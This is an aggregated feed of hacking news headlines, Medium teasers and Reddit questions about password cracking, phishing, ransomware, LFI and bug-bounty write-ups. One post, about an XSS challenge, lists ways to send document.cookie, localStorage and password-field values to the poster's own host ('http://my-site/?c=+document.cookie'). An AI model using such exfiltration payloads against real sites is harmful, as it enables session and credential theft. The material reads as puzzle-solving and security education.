hacking: security in practice
zip2john

what is the meaning of 'proceeding with incremental:ascii'?

submitted by /u/One-Ad-9971
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Phishing Emails Remain in User Inboxes Over 3 Days Before They're Removed

Most malicious emails get blocked, but the ones that get through linger around dangerously long, a new study shows.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Meat Hack

https://cdn-images-1.medium.com/max/1500/1*kXaBbDU32kdQMViUrjbKtg.jpeg
Less than a month after the Colonial Pipeline was hit with one of the most disruptive ransomware attacks in history, JBS — the world’s…

Continue reading on Digital Diplomacy »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe Write-up: VulnNet Internal

https://cdn-images-1.medium.com/max/600/1*y2DD9NfWQyN159At6safrQ.png
Hoy vamos a intentar vulnerar esta nueva máquina de TryHackMe llamada VulnNet Internal del autor TheCyb3rW0lf.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Official Future MERCH of ZEUS!

https://cdn-images-1.medium.com/max/816/1*eVXg6oyeV-35AusYYQRLNA.jpeg
[ ZEUS T-Shirts / Hoodies / Tank Tops ]

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
is quo search engine down the link isnt working if anyone has it please put it in the comments

submitted by /u/KillaX9
[link] [comments]

hacking: security in practice
How did LE catch U-Admin mastermind from seizing the DarkMarket and its servers?

https://external-preview.redd.it/LDInvIHoxgDNoxkrzZdZJVtNzV3r2TiUtfg2Jdl1yAw.jpg?width=320&crop=smart&auto=webp&s=e0c31b9f78a6904306af60b00f045f6b2e700cf5 submitted by /u/DrDankHaze
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
XSS Assistance

I'm working on a problem/puzzle where there's an XSS vulnerability and I can send a "user" an XSS payload which they will click on (it automatically visits the link as soon as it's sent), and the goal is to obtain a login password on the page that the XSS vulnerability is on. However I'm having a lot of issues figuring out how to do this, so I'm hoping someone may be able to point me in the right direction for other XSS avenues I have not checked.

So far, this is what I've done:

* Sending document.cookie back to myself (e.g. http://my-site/?c=+document.cookie )
* No cookies are appended to the image, however if I manually visit the site with cookies in my browser I can confirm that it will send back cookies.

* Sending localStorage back to myself
* Nothing comes back, but I have been able to confirm that if there were localStorage, it would be sent back

* Sending the page contents back to myself via the same method as the above two, inside a "setTimeout()" to let the page load
* The page is sent back to me, but it only contains the general page where it expects a password, not the actual contents

* Read the value from the password input and send it back to me, inside a "setTimeout()", hoping that maybe the password is auto-populated
* Request comes back to me but with no password

* Update the to point back to me, so when the user submits the form (and the password) I obtain it
* Never receive a callback, so the user never actually submits the form

* Update the and submit it myself, to send back any populated passwords
* Successfully receive a callback, but password is empty

* Update the to have a secondary payload, then submit the form, secondary payload should pass cookies back to me
* Once the is submitted, the password was not populated, so it just received an incorrect password error.

* Using beef-xss to hook into the page and send details back to me
* The automated script never seems to get picked up by beef-xss, so I wasn't able to get any info from this.
The above is what I've tried so far without success, are there any other avenues or things that I could look into?

submitted by /u/Driagan
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Bypassing LFI (Local File Inclusion)

LFI (Local File Inclusion) allows an attacker to expose a file on the target server. With the help of directory traversal(../) we can…Continue reading on Medium »
Read more...

Open Redirect to Account Takeover
https://z3r0tru5t.medium.com/open-redirect-to-account-takeover-f1405cbdf2d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Bypassing Rate Limit ( using Timestamp )
https://karanxarora.medium.com/bypassing-rate-limit-using-timestamp-b41291859457?source=rss------bug_bounty-5

This write up is divided into following sections :Continue reading on Medium » (https://karanxarora.medium.com/bypassing-rate-limit-using-timestamp-b41291859457?source=rss------bug_bounty-5)

Behind the Scene: XSS?
https://anonyethical3067.medium.com/behind-the-scene-xss-6a7ff5559b54?source=rss------bug_bounty-5

Hey Cyberpunks , I hope you all are doing great in your life and if not, then you are at the right place to at least remove the queries of…Continue reading on Medium » (https://anonyethical3067.medium.com/behind-the-scene-xss-6a7ff5559b54?source=rss------bug_bounty-5)